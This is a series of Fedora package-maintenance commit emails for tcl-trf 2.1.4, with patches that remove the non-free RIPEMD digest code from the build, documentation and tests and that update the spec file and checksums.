diff -up trf2.1.4/DESCRIPTION.ripemd trf2.1.4/DESCRIPTION
--- trf2.1.4/DESCRIPTION.ripemd	2009-06-18 00:45:22.000000000 -0400
+++ trf2.1.4/DESCRIPTION	2009-10-29 14:33:30.506531382 -0400
@@ -26,7 +26,7 @@ extension trf {
     keywords {
 	tcl, conversion, message digests,
 	data compression, error-correction, binary io, crc, md2, md5,
-	sha, sha-1, haval, adler, ripemd-160, dual, hexadecimal, octal,
+	sha, sha-1, haval, adler, dual, hexadecimal, octal,
 	uuencode, base64, ascii85, reed-solomon, zlib, otp_md5, otp_sha1,
 	otp_words
     }
diff -up trf2.1.4/doc/trf.man.ripemd trf2.1.4/doc/trf.man
--- trf2.1.4/doc/trf.man.ripemd	2009-06-18 00:45:22.000000000 -0400
+++ trf2.1.4/doc/trf.man	2009-10-29 14:33:30.506531382 -0400
@@ -102,10 +102,6 @@ The second category are message digests 
 [cmd sha1_otp]
 [enum]
 [cmd haval]
-[enum]
-[cmd ripemd-160]
-[enum]
-[cmd ripemd-128]
 [list_end]
 [nl]
 
@@ -134,7 +130,7 @@ compression, error correction and others
 
 [list_end]
 
-[see_also oct hex oct base64 uuencode ascii85 otp_words quoted-printable crc-zlib crc adler md2 md5 md5_otp sha sha1 sha1_otp haval ripemd-160 ripemd-128 crypt md5crypt transform rs_ecc zip bz2]
+[see_also oct hex oct base64 uuencode ascii85 otp_words quoted-printable crc-zlib crc adler md2 md5 md5_otp sha sha1 sha1_otp haval crypt md5crypt transform rs_ecc zip bz2]
 [keywords transformation encoding {message digest} compression {error correction}]
 [manpage_end]
 
diff -up trf2.1.4/generic/init.c.ripemd trf2.1.4/generic/init.c
--- trf2.1.4/generic/init.c.ripemd	2009-06-18 00:54:43.000000000 -0400
+++ trf2.1.4/generic/init.c	2009-10-29 14:33:30.507530461 -0400
@@ -214,6 +214,7 @@ Tcl_Interp* interp;
   if (res != TCL_OK)
     return res;
 
+  /* Disable the non-free RIPEMD bits
   res = TrfInit_RIPEMD160 (interp);
 
   if (res != TCL_OK)
@@ -223,6 +224,7 @@ Tcl_Interp* interp;
 
   if (res != TCL_OK)
     return res;
+  */
 
   /*
    * Register freeform transformation, reflector into tcl level
diff -up trf2.1.4/generic/transformInt.h.ripemd trf2.1.4/generic/transformInt.h
--- trf2.1.4/generic/transformInt.h.ripemd	2009-06-18 00:55:33.000000000 -0400
+++ trf2.1.4/generic/transformInt.h	2009-10-29 14:33:30.507530461 -0400
@@ -630,8 +630,8 @@ EXTERN int TrfInit_SHA1      _ANSI_ARGS_
 EXTERN int TrfInit_OTP_SHA1  _ANSI_ARGS_ ((Tcl_Interp* interp));
 EXTERN int TrfInit_ADLER     _ANSI_ARGS_ ((Tcl_Interp* interp));
 EXTERN int TrfInit_CRC_ZLIB  _ANSI_ARGS_ ((Tcl_Interp* interp));
-EXTERN int TrfInit_RIPEMD128 _ANSI_ARGS_ ((Tcl_Interp* interp));
-EXTERN int TrfInit_RIPEMD160 _ANSI_ARGS_ ((Tcl_Interp* interp));
+/* EXTERN int TrfInit_RIPEMD128 _ANSI_ARGS_ ((Tcl_Interp* interp)); */
+/* EXTERN int TrfInit_RIPEMD160 _ANSI_ARGS_ ((Tcl_Interp* interp)); */
 EXTERN int TrfInit_OTP_MD5   _ANSI_ARGS_ ((Tcl_Interp* interp));
 
 EXTERN int TrfInit_RS_ECC    _ANSI_ARGS_ ((Tcl_Interp* interp));
diff -up trf2.1.4/LSM.ripemd trf2.1.4/LSM
--- trf2.1.4/LSM.ripemd	2009-06-18 00:56:17.000000000 -0400
+++ trf2.1.4/LSM	2009-10-29 14:34:03.864389148 -0400
@@ -18,7 +18,7 @@ Description:    A loadable extension to 
 	an official part of the core.
 Keywords:       tcl, conversion, message digests, data compression,
 	error-correction, binary io, crc, md2, md5, sha, sha-1, haval, adler,
-	ripemd-160, dual, hexadecimal, octal, uuencode, base64, ascii85,
+	dual, hexadecimal, octal, uuencode, base64, ascii85,
 	reed-solomon, zlib, otp_md5, otp_sha1, otp_words
 Author:         Andreas Kupries (andreas_kupries at users.sourceforge.net)
 Maintained-by:  Andreas Kupries (andreas_kupries at users.sourceforge.net)
diff -up trf2.1.4/tea.tests/common_md.test.ripemd trf2.1.4/tea.tests/common_md.test
--- trf2.1.4/tea.tests/common_md.test.ripemd	2009-06-18 00:55:33.000000000 -0400
+++ trf2.1.4/tea.tests/common_md.test	2009-10-29 14:33:30.507530461 -0400
@@ -13,7 +13,7 @@
 # $Id: common_md.test,v 1.2 2000/11/18 22:42:32 aku Exp $
 
 
-# message digests: adler, crc, crc_zlib, haval, md5, md2, sha, rmd160, rmd128
+# message digests: adler, crc, crc_zlib, haval, md5, md2, sha
 # tests done with builtin digest 'crc'.
 
 foreach {i opt ovalue} {
diff -up trf2.1.4/tea.tests/________.ripemd trf2.1.4/tea.tests/________
--- trf2.1.4/tea.tests/________.ripemd	2009-06-18 00:55:33.000000000 -0400
+++ trf2.1.4/tea.tests/________	2009-10-29 14:33:30.508529332 -0400
@@ -13,7 +13,7 @@
 
 cd ../unix
 
-foreach md {crc crc-zlib adler md5 sha haval ripemd128 ripemd160} {
+foreach md {crc crc-zlib adler md5 sha haval} {
     set fail [catch {
 	exec ./tclsh ../tools/mdwrap -a $md -c digests.$md | sed -e {s/^/	/} >@ stdout
     } msg];#{}
@@ -27,7 +27,7 @@ cd ../tests
 if {0} {
     cd ..
 
-    foreach md {crc crc-zlib adler md5 sha haval ripemd128 ripemd160} {
+    foreach md {crc crc-zlib adler md5 sha haval} {
 	set fail [catch {
 	    exec unix/tclsh tools/md -a $md -c digests.$md | sed -e {s/^/	/} >@ stdout
 	} msg];#{}
diff -up trf2.1.4/tests/common.md.test.ripemd trf2.1.4/tests/common.md.test
--- trf2.1.4/tests/common.md.test.ripemd	2009-06-18 00:55:33.000000000 -0400
+++ trf2.1.4/tests/common.md.test	2009-10-29 14:33:30.508529332 -0400
@@ -14,7 +14,7 @@
 
 if {[string compare test [info procs test]] == 1} then {source defs}
 
-# message digests: adler, crc, crc_zlib, haval, md5, md2, sha, rmd160, rmd128
+# message digests: adler, crc, crc_zlib, haval, md5, md2, sha
 # tests done with builtin digest 'crc'.
 
 foreach {i opt ovalue} {
diff -up trf2.1.4/tests/________.ripemd trf2.1.4/tests/________
--- trf2.1.4/tests/________.ripemd	2009-06-18 00:55:33.000000000 -0400
+++ trf2.1.4/tests/________	2009-10-29 14:33:30.508529332 -0400
@@ -13,7 +13,7 @@
 
 cd ../unix
 
-foreach md {crc crc-zlib adler md5 sha haval ripemd128 ripemd160} {
+foreach md {crc crc-zlib adler md5 sha haval} {
     set fail [catch {
 	exec ./tclsh ../tools/mdwrap -a $md -c digests.$md | sed -e {s/^/	/} >@ stdout
     } msg];#{}
@@ -27,7 +27,7 @@ cd ../tests
 if {0} {
     cd ..
 
-    foreach md {crc crc-zlib adler md5 sha haval ripemd128 ripemd160} {
+    foreach md {crc crc-zlib adler md5 sha haval} {
 	set fail [catch {
 	    exec unix/tclsh tools/md -a $md -c digests.$md | sed -e {s/^/	/} >@ stdout
 	} msg];#{}
diff -up trf2.1.4/tools/md.ripemd trf2.1.4/tools/md
--- trf2.1.4/tools/md.ripemd	2009-06-18 00:45:22.000000000 -0400
+++ trf2.1.4/tools/md	2009-10-29 14:33:30.508529332 -0400
@@ -41,7 +41,7 @@ proc usage {args} {
     puts stdout "\t-c file\t\tenter check mode, read data from file"
     puts stdout "\t-a alg\t\tuse specified algorithm to generate/check digests"
     puts stdout ""
-    puts stdout "\tallowed algorithms are: md5, haval, sha, crc, crc-zlib, adler, ripemd160, ripemd128"
+    puts stdout "\tallowed algorithms are: md5, haval, sha, crc, crc-zlib, adler"
     puts stdout ""
 
     exit


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/tcl-trf/F-10/sources,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- sources	13 Mar 2009 14:05:26 -0000	1.2
+++ sources	29 Oct 2009 18:41:30 -0000	1.3
@@ -1,2 +1,2 @@
 95f63280f1a71a3e7a041fcb148bea52  haval-1.1.tar.gz
-00113b594c6cc32b76096b7bb11534be  trf2.1.3-noripemd.tar.bz2
+828c76fbae46c513072982283d333b0d  trf2.1.4-noripemd.tar.bz2


Index: tcl-trf.spec
===================================================================
RCS file: /cvs/pkgs/rpms/tcl-trf/F-10/tcl-trf.spec,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- tcl-trf.spec	6 Jul 2009 18:59:34 -0000	1.2
+++ tcl-trf.spec	29 Oct 2009 18:41:30 -0000	1.3
@@ -3,8 +3,8 @@
 %define realname trf
 
 Name:		tcl-%{realname}
-Version:	2.1.3
-Release:	3%{?dist}
+Version:	2.1.4
+Release:	1%{?dist}
 Summary:	Tcl extension providing "transformer" commands
 Group:		System Environment/Libraries
 License:	MIT and BSD and LGPLv2+ and GPLv2+ and Public Domain and OpenSSL
@@ -12,14 +12,13 @@ URL:		http://tcltrf.sourceforge.net
 # We can't use the upstream source because it includes the non-free ripemd implementation
 # Source0:	http://downloads.sourceforge.net/tcl%{realname}/%{realname}%{version}.tar.bz2
 # To make the clean tarball, just run:
-# rm -rf digests.ripemd128 digests.ripemd160 doc/ripemd160.man doc/html/ripemd160.html doc/html/ripemd128.html \
-# tests/rmd128.test tests/rmd160.test tea.tests/rmd128_bb.test tea.tests/rmd160_bb.test generic/rmd128.c generic/rmd160.c \ 
-# generic/ripemd/
+# rm -rf doc/ripemd160.man doc/html/ripemd160.html doc/html/ripemd128.html ./doc/tmml/ripemd128.tmml ./doc/tmml/ripemd160.tmml ./doc/ripemd128.man 
+# ./doc/digest/ripemd.inc ./generic/ripemd/ generic/rmd1* tea.tests/rmd1* tests/rmd1*
 Source0:	%{realname}%{version}-noripemd.tar.bz2
 # BSD licensed haval bits, included code is older and has bad license
 Source1:	http://labs.calyptix.com/haval-1.1.tar.gz
 Patch0:		trf2.1.3-havalfixes.patch
-Patch1:		trf2.1.3-noripemd.patch
+Patch1:		trf2.1.4-noripemd.patch
 BuildRoot:	%(mktemp -ud %{_tmppath}/%{name}-%{version}-%{release}-XXXXXX)
 Provides:	%{realname} = %{version}-%{release}
 BuildRequires:	tcl-devel, tk-devel, zlib-devel, bzip2-devel, openssl-devel
@@ -75,7 +74,7 @@ rm -rf %{buildroot}
 %files
 %defattr(-,root,root,-)
 %doc doc/ ANNOUNCE ChangeLog DESCRIPTION README*
-%{tcl_sitearch}/Trf2.1.3
+%{tcl_sitearch}/Trf%{version}
 
 %files devel
 %defattr(-,root,root,-)
@@ -83,6 +82,12 @@ rm -rf %{buildroot}
 %{_includedir}/trfDecls.h
 
 %changelog
+* Thu Oct 29 2009 Tom "spot" Callaway <tcallawa at redhat.com> - 2.1.4-1
+- Update to 2.1.4
+
+* Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 2.1.3-4
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
+
 * Mon Jul  6 2009 Tom "spot" Callaway <tcallawa at redhat.com> 2.1.3-3
 - fix noripemd patch to resolve undefined symbols (bz 506072)
 



From spot at fedoraproject.org  Thu Oct 29 18:41:33 2009
From: spot at fedoraproject.org (Tom Callaway)
Date: Thu, 29 Oct 2009 18:41:33 +0000 (UTC)
Subject: rpms/tcl-trf/devel trf2.1.4-noripemd.patch, NONE, 1.1 .cvsignore,
	1.2, 1.3 sources, 1.2, 1.3 tcl-trf.spec, 1.3,
	1.4 trf2.1.3-noripemd.patch, 1.2, 1.3
Message-ID: <20091029184133.0E63D11C00E5@cvs1.fedora.phx.redhat.com>

Author: spot

Update of /cvs/pkgs/rpms/tcl-trf/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv25072/devel

Modified Files:
	.cvsignore sources tcl-trf.spec trf2.1.3-noripemd.patch 
Added Files:
	trf2.1.4-noripemd.patch 
Log Message:
update to 2.1.4

trf2.1.4-noripemd.patch:
 DESCRIPTION              |    2 +-
 LSM                      |    2 +-
 configure                |    2 +-
 configure.in             |    1 -
 doc/trf.man              |    6 +-----
 generic/init.c           |    2 ++
 generic/transformInt.h   |    4 ++--
 tea.tests/________       |    4 ++--
 tea.tests/common_md.test |    2 +-
 tests/________           |    4 ++--
 tests/common.md.test     |    2 +-
 tools/md                 |    2 +-
 12 files changed, 15 insertions(+), 18 deletions(-)

--- NEW FILE trf2.1.4-noripemd.patch ---
diff -up trf2.1.4/configure.in.ripemd trf2.1.4/configure.in
--- trf2.1.4/configure.in.ripemd	2009-06-18 00:45:22.000000000 -0400
+++ trf2.1.4/configure.in	2009-10-29 14:33:30.504518975 -0400
@@ -86,7 +86,6 @@ TEA_ADD_SOURCES([otpcode.c qpcode.c refl
 TEA_ADD_SOURCES([dig_opt.c digest.c])
 TEA_ADD_SOURCES([crc.c crc_zlib.c adler.c])
 TEA_ADD_SOURCES([md5dig.c haval.c sha.c md2.c sha1.c])
-TEA_ADD_SOURCES([rmd160.c rmd128.c])
 TEA_ADD_SOURCES([otpmd5.c otpsha1.c])
 
 TEA_ADD_SOURCES([rs_ecc.c])
diff -up trf2.1.4/configure.ripemd trf2.1.4/configure
--- trf2.1.4/configure.ripemd	2009-06-18 00:45:24.000000000 -0400
+++ trf2.1.4/configure	2009-10-29 14:33:30.506531382 -0400
@@ -7041,7 +7041,7 @@ echo "$as_me: error: could not find sour
 
 
 
-    vars="rmd160.c rmd128.c"
+    vars=""
     for i in $vars; do
 	case $i in
 	    \$*)
diff -up trf2.1.4/DESCRIPTION.ripemd trf2.1.4/DESCRIPTION
--- trf2.1.4/DESCRIPTION.ripemd	2009-06-18 00:45:22.000000000 -0400
+++ trf2.1.4/DESCRIPTION	2009-10-29 14:33:30.506531382 -0400
@@ -26,7 +26,7 @@ extension trf {
     keywords {
 	tcl, conversion, message digests,
 	data compression, error-correction, binary io, crc, md2, md5,
-	sha, sha-1, haval, adler, ripemd-160, dual, hexadecimal, octal,
+	sha, sha-1, haval, adler, dual, hexadecimal, octal,
 	uuencode, base64, ascii85, reed-solomon, zlib, otp_md5, otp_sha1,
 	otp_words
     }
diff -up trf2.1.4/doc/trf.man.ripemd trf2.1.4/doc/trf.man
--- trf2.1.4/doc/trf.man.ripemd	2009-06-18 00:45:22.000000000 -0400
+++ trf2.1.4/doc/trf.man	2009-10-29 14:33:30.506531382 -0400
@@ -102,10 +102,6 @@ The second category are message digests 
 [cmd sha1_otp]
 [enum]
 [cmd haval]
-[enum]
-[cmd ripemd-160]
-[enum]
-[cmd ripemd-128]
 [list_end]
 [nl]
 
@@ -134,7 +130,7 @@ compression, error correction and others
 
 [list_end]
 
-[see_also oct hex oct base64 uuencode ascii85 otp_words quoted-printable crc-zlib crc adler md2 md5 md5_otp sha sha1 sha1_otp haval ripemd-160 ripemd-128 crypt md5crypt transform rs_ecc zip bz2]
+[see_also oct hex oct base64 uuencode ascii85 otp_words quoted-printable crc-zlib crc adler md2 md5 md5_otp sha sha1 sha1_otp haval crypt md5crypt transform rs_ecc zip bz2]
 [keywords transformation encoding {message digest} compression {error correction}]
 [manpage_end]
 
diff -up trf2.1.4/generic/init.c.ripemd trf2.1.4/generic/init.c
--- trf2.1.4/generic/init.c.ripemd	2009-06-18 00:54:43.000000000 -0400
+++ trf2.1.4/generic/init.c	2009-10-29 14:33:30.507530461 -0400
@@ -214,6 +214,7 @@ Tcl_Interp* interp;
   if (res != TCL_OK)
     return res;
 
+  /* Disable the non-free RIPEMD bits
   res = TrfInit_RIPEMD160 (interp);
 
   if (res != TCL_OK)
@@ -223,6 +224,7 @@ Tcl_Interp* interp;
 
   if (res != TCL_OK)
     return res;
+  */
 
   /*
    * Register freeform transformation, reflector into tcl level
diff -up trf2.1.4/generic/transformInt.h.ripemd trf2.1.4/generic/transformInt.h
--- trf2.1.4/generic/transformInt.h.ripemd	2009-06-18 00:55:33.000000000 -0400
+++ trf2.1.4/generic/transformInt.h	2009-10-29 14:33:30.507530461 -0400
@@ -630,8 +630,8 @@ EXTERN int TrfInit_SHA1      _ANSI_ARGS_
 EXTERN int TrfInit_OTP_SHA1  _ANSI_ARGS_ ((Tcl_Interp* interp));
 EXTERN int TrfInit_ADLER     _ANSI_ARGS_ ((Tcl_Interp* interp));
 EXTERN int TrfInit_CRC_ZLIB  _ANSI_ARGS_ ((Tcl_Interp* interp));
-EXTERN int TrfInit_RIPEMD128 _ANSI_ARGS_ ((Tcl_Interp* interp));
-EXTERN int TrfInit_RIPEMD160 _ANSI_ARGS_ ((Tcl_Interp* interp));
+/* EXTERN int TrfInit_RIPEMD128 _ANSI_ARGS_ ((Tcl_Interp* interp)); */
+/* EXTERN int TrfInit_RIPEMD160 _ANSI_ARGS_ ((Tcl_Interp* interp)); */
 EXTERN int TrfInit_OTP_MD5   _ANSI_ARGS_ ((Tcl_Interp* interp));
 
 EXTERN int TrfInit_RS_ECC    _ANSI_ARGS_ ((Tcl_Interp* interp));
diff -up trf2.1.4/LSM.ripemd trf2.1.4/LSM
--- trf2.1.4/LSM.ripemd	2009-06-18 00:56:17.000000000 -0400
+++ trf2.1.4/LSM	2009-10-29 14:34:03.864389148 -0400
@@ -18,7 +18,7 @@ Description:    A loadable extension to 
 	an official part of the core.
 Keywords:       tcl, conversion, message digests, data compression,
 	error-correction, binary io, crc, md2, md5, sha, sha-1, haval, adler,
-	ripemd-160, dual, hexadecimal, octal, uuencode, base64, ascii85,
+	dual, hexadecimal, octal, uuencode, base64, ascii85,
 	reed-solomon, zlib, otp_md5, otp_sha1, otp_words
 Author:         Andreas Kupries (andreas_kupries at users.sourceforge.net)
 Maintained-by:  Andreas Kupries (andreas_kupries at users.sourceforge.net)
diff -up trf2.1.4/tea.tests/common_md.test.ripemd trf2.1.4/tea.tests/common_md.test
--- trf2.1.4/tea.tests/common_md.test.ripemd	2009-06-18 00:55:33.000000000 -0400
+++ trf2.1.4/tea.tests/common_md.test	2009-10-29 14:33:30.507530461 -0400
@@ -13,7 +13,7 @@
 # $Id: common_md.test,v 1.2 2000/11/18 22:42:32 aku Exp $
 
 
-# message digests: adler, crc, crc_zlib, haval, md5, md2, sha, rmd160, rmd128
+# message digests: adler, crc, crc_zlib, haval, md5, md2, sha
 # tests done with builtin digest 'crc'.
 
 foreach {i opt ovalue} {
diff -up trf2.1.4/tea.tests/________.ripemd trf2.1.4/tea.tests/________
--- trf2.1.4/tea.tests/________.ripemd	2009-06-18 00:55:33.000000000 -0400
+++ trf2.1.4/tea.tests/________	2009-10-29 14:33:30.508529332 -0400
@@ -13,7 +13,7 @@
 
 cd ../unix
 
-foreach md {crc crc-zlib adler md5 sha haval ripemd128 ripemd160} {
+foreach md {crc crc-zlib adler md5 sha haval} {
     set fail [catch {
 	exec ./tclsh ../tools/mdwrap -a $md -c digests.$md | sed -e {s/^/	/} >@ stdout
     } msg];#{}
@@ -27,7 +27,7 @@ cd ../tests
 if {0} {
     cd ..
 
-    foreach md {crc crc-zlib adler md5 sha haval ripemd128 ripemd160} {
+    foreach md {crc crc-zlib adler md5 sha haval} {
 	set fail [catch {
 	    exec unix/tclsh tools/md -a $md -c digests.$md | sed -e {s/^/	/} >@ stdout
 	} msg];#{}
diff -up trf2.1.4/tests/common.md.test.ripemd trf2.1.4/tests/common.md.test
--- trf2.1.4/tests/common.md.test.ripemd	2009-06-18 00:55:33.000000000 -0400
+++ trf2.1.4/tests/common.md.test	2009-10-29 14:33:30.508529332 -0400
@@ -14,7 +14,7 @@
 
 if {[string compare test [info procs test]] == 1} then {source defs}
 
-# message digests: adler, crc, crc_zlib, haval, md5, md2, sha, rmd160, rmd128
+# message digests: adler, crc, crc_zlib, haval, md5, md2, sha
 # tests done with builtin digest 'crc'.
 
 foreach {i opt ovalue} {
diff -up trf2.1.4/tests/________.ripemd trf2.1.4/tests/________
--- trf2.1.4/tests/________.ripemd	2009-06-18 00:55:33.000000000 -0400
+++ trf2.1.4/tests/________	2009-10-29 14:33:30.508529332 -0400
@@ -13,7 +13,7 @@
 
 cd ../unix
 
-foreach md {crc crc-zlib adler md5 sha haval ripemd128 ripemd160} {
+foreach md {crc crc-zlib adler md5 sha haval} {
     set fail [catch {
 	exec ./tclsh ../tools/mdwrap -a $md -c digests.$md | sed -e {s/^/	/} >@ stdout
     } msg];#{}
@@ -27,7 +27,7 @@ cd ../tests
 if {0} {
     cd ..
 
-    foreach md {crc crc-zlib adler md5 sha haval ripemd128 ripemd160} {
+    foreach md {crc crc-zlib adler md5 sha haval} {
 	set fail [catch {
 	    exec unix/tclsh tools/md -a $md -c digests.$md | sed -e {s/^/	/} >@ stdout
 	} msg];#{}
diff -up trf2.1.4/tools/md.ripemd trf2.1.4/tools/md
--- trf2.1.4/tools/md.ripemd	2009-06-18 00:45:22.000000000 -0400
+++ trf2.1.4/tools/md	2009-10-29 14:33:30.508529332 -0400
@@ -41,7 +41,7 @@ proc usage {args} {
     puts stdout "\t-c file\t\tenter check mode, read data from file"
     puts stdout "\t-a alg\t\tuse specified algorithm to generate/check digests"
     puts stdout ""
-    puts stdout "\tallowed algorithms are: md5, haval, sha, crc, crc-zlib, adler, ripemd160, ripemd128"
+    puts stdout "\tallowed algorithms are: md5, haval, sha, crc, crc-zlib, adler"
     puts stdout ""
 
     exit


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/tcl-trf/devel/.cvsignore,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- .cvsignore	13 Mar 2009 14:02:37 -0000	1.2
+++ .cvsignore	29 Oct 2009 18:41:32 -0000	1.3
@@ -1,2 +1,3 @@
 haval-1.1.tar.gz
 trf2.1.3-noripemd.tar.bz2
+trf2.1.4-noripemd.tar.bz2


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/tcl-trf/devel/sources,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- sources	13 Mar 2009 14:02:37 -0000	1.2
+++ sources	29 Oct 2009 18:41:32 -0000	1.3
@@ -1,2 +1,2 @@
 95f63280f1a71a3e7a041fcb148bea52  haval-1.1.tar.gz
-00113b594c6cc32b76096b7bb11534be  trf2.1.3-noripemd.tar.bz2
+828c76fbae46c513072982283d333b0d  trf2.1.4-noripemd.tar.bz2


Index: tcl-trf.spec
===================================================================
RCS file: /cvs/pkgs/rpms/tcl-trf/devel/tcl-trf.spec,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- tcl-trf.spec	27 Jul 2009 05:36:03 -0000	1.3
+++ tcl-trf.spec	29 Oct 2009 18:41:32 -0000	1.4
@@ -3,8 +3,8 @@
 %define realname trf
 
 Name:		tcl-%{realname}
-Version:	2.1.3
-Release:	4%{?dist}
+Version:	2.1.4
+Release:	1%{?dist}
 Summary:	Tcl extension providing "transformer" commands
 Group:		System Environment/Libraries
 License:	MIT and BSD and LGPLv2+ and GPLv2+ and Public Domain and OpenSSL
@@ -12,14 +12,13 @@ URL:		http://tcltrf.sourceforge.net
 # We can't use the upstream source because it includes the non-free ripemd implementation
 # Source0:	http://downloads.sourceforge.net/tcl%{realname}/%{realname}%{version}.tar.bz2
 # To make the clean tarball, just run:
-# rm -rf digests.ripemd128 digests.ripemd160 doc/ripemd160.man doc/html/ripemd160.html doc/html/ripemd128.html \
-# tests/rmd128.test tests/rmd160.test tea.tests/rmd128_bb.test tea.tests/rmd160_bb.test generic/rmd128.c generic/rmd160.c \ 
-# generic/ripemd/
+# rm -rf doc/ripemd160.man doc/html/ripemd160.html doc/html/ripemd128.html ./doc/tmml/ripemd128.tmml ./doc/tmml/ripemd160.tmml ./doc/ripemd128.man 
+# ./doc/digest/ripemd.inc ./generic/ripemd/ generic/rmd1* tea.tests/rmd1* tests/rmd1*
 Source0:	%{realname}%{version}-noripemd.tar.bz2
 # BSD licensed haval bits, included code is older and has bad license
 Source1:	http://labs.calyptix.com/haval-1.1.tar.gz
 Patch0:		trf2.1.3-havalfixes.patch
-Patch1:		trf2.1.3-noripemd.patch
+Patch1:		trf2.1.4-noripemd.patch
 BuildRoot:	%(mktemp -ud %{_tmppath}/%{name}-%{version}-%{release}-XXXXXX)
 Provides:	%{realname} = %{version}-%{release}
 BuildRequires:	tcl-devel, tk-devel, zlib-devel, bzip2-devel, openssl-devel
@@ -75,7 +74,7 @@ rm -rf %{buildroot}
 %files
 %defattr(-,root,root,-)
 %doc doc/ ANNOUNCE ChangeLog DESCRIPTION README*
-%{tcl_sitearch}/Trf2.1.3
+%{tcl_sitearch}/Trf%{version}
 
 %files devel
 %defattr(-,root,root,-)
@@ -83,6 +82,9 @@ rm -rf %{buildroot}
 %{_includedir}/trfDecls.h
 
 %changelog
+* Thu Oct 29 2009 Tom "spot" Callaway <tcallawa at redhat.com> - 2.1.4-1
+- Update to 2.1.4
+
 * Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 2.1.3-4
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 

trf2.1.3-noripemd.patch:
 DESCRIPTION              |    2 +-
 LSM                      |    2 +-
 configure                |    2 +-
 configure.in             |    1 -
 doc/trf.man              |    6 +-----
 generic/init.c           |    2 ++
 generic/transformInt.h   |    4 ++--
 tea.tests/________       |    4 ++--
 tea.tests/common_md.test |    2 +-
 tests/________           |    4 ++--
 tests/common.md.test     |    2 +-
 tools/md                 |    2 +-
 12 files changed, 15 insertions(+), 18 deletions(-)

Index: trf2.1.3-noripemd.patch
===================================================================
RCS file: /cvs/pkgs/rpms/tcl-trf/devel/trf2.1.3-noripemd.patch,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- trf2.1.3-noripemd.patch	6 Jul 2009 18:59:34 -0000	1.2
+++ trf2.1.3-noripemd.patch	29 Oct 2009 18:41:32 -0000	1.3
@@ -101,18 +101,6 @@ diff -up trf2.1.3/LSM.ripemd trf2.1.3/LS
  	reed-solomon, zlib, otp_md5, otp_sha1, otp_words
  Author:         Andreas Kupries (a.kupries at westend.com)
  Maintained-by:  Andreas Kupries (a.kupries at westend.com)
-diff -up trf2.1.3/PREPARE.ripemd trf2.1.3/PREPARE
---- trf2.1.3/PREPARE.ripemd	2008-12-05 16:26:05.000000000 -0500
-+++ trf2.1.3/PREPARE	2009-07-06 13:06:18.601475072 -0400
-@@ -89,7 +89,7 @@ puts Generating digests (please wait)...
- set files [exec /usr/bin/find . -type f -print]
- regsub -all "\n" $files { } files
- 
--foreach md {crc crc-zlib adler md5 sha haval ripemd128 ripemd160} {
-+foreach md {crc crc-zlib adler md5 sha haval} {
-     puts $md ...
-     catch {eval exec md -a $md $files > digests.$md}
- }
 diff -up trf2.1.3/tea.tests/common_md.test.ripemd trf2.1.3/tea.tests/common_md.test
 --- trf2.1.3/tea.tests/common_md.test.ripemd	2008-12-05 16:00:23.000000000 -0500
 +++ trf2.1.3/tea.tests/common_md.test	2009-07-06 13:06:18.601475072 -0400



From spot at fedoraproject.org  Thu Oct 29 18:41:31 2009
From: spot at fedoraproject.org (Tom Callaway)
Date: Thu, 29 Oct 2009 18:41:31 +0000 (UTC)
Subject: rpms/tcl-trf/F-11 trf2.1.4-noripemd.patch, NONE, 1.1 sources, 1.2, 
	1.3 tcl-trf.spec, 1.2, 1.3
Message-ID: <20091029184131.62D3911C00E5@cvs1.fedora.phx.redhat.com>

Author: spot

Update of /cvs/pkgs/rpms/tcl-trf/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv25072/F-11

Modified Files:
	sources tcl-trf.spec 
Added Files:
	trf2.1.4-noripemd.patch 
Log Message:
update to 2.1.4

trf2.1.4-noripemd.patch:
 DESCRIPTION              |    2 +-
 LSM                      |    2 +-
 configure                |    2 +-
 configure.in             |    1 -
 doc/trf.man              |    6 +-----
 generic/init.c           |    2 ++
 generic/transformInt.h   |    4 ++--
 tea.tests/________       |    4 ++--
 tea.tests/common_md.test |    2 +-
 tests/________           |    4 ++--
 tests/common.md.test     |    2 +-
 tools/md                 |    2 +-
 12 files changed, 15 insertions(+), 18 deletions(-)

--- NEW FILE trf2.1.4-noripemd.patch ---
diff -up trf2.1.4/configure.in.ripemd trf2.1.4/configure.in
--- trf2.1.4/configure.in.ripemd	2009-06-18 00:45:22.000000000 -0400
+++ trf2.1.4/configure.in	2009-10-29 14:33:30.504518975 -0400
@@ -86,7 +86,6 @@ TEA_ADD_SOURCES([otpcode.c qpcode.c refl
 TEA_ADD_SOURCES([dig_opt.c digest.c])
 TEA_ADD_SOURCES([crc.c crc_zlib.c adler.c])
 TEA_ADD_SOURCES([md5dig.c haval.c sha.c md2.c sha1.c])
-TEA_ADD_SOURCES([rmd160.c rmd128.c])
 TEA_ADD_SOURCES([otpmd5.c otpsha1.c])
 
 TEA_ADD_SOURCES([rs_ecc.c])
diff -up trf2.1.4/configure.ripemd trf2.1.4/configure
--- trf2.1.4/configure.ripemd	2009-06-18 00:45:24.000000000 -0400
+++ trf2.1.4/configure	2009-10-29 14:33:30.506531382 -0400
@@ -7041,7 +7041,7 @@ echo "$as_me: error: could not find sour
 
 
 
-    vars="rmd160.c rmd128.c"
+    vars=""
     for i in $vars; do
 	case $i in
 	    \$*)
diff -up trf2.1.4/DESCRIPTION.ripemd trf2.1.4/DESCRIPTION
--- trf2.1.4/DESCRIPTION.ripemd	2009-06-18 00:45:22.000000000 -0400
+++ trf2.1.4/DESCRIPTION	2009-10-29 14:33:30.506531382 -0400
@@ -26,7 +26,7 @@ extension trf {
     keywords {
 	tcl, conversion, message digests,
 	data compression, error-correction, binary io, crc, md2, md5,
-	sha, sha-1, haval, adler, ripemd-160, dual, hexadecimal, octal,
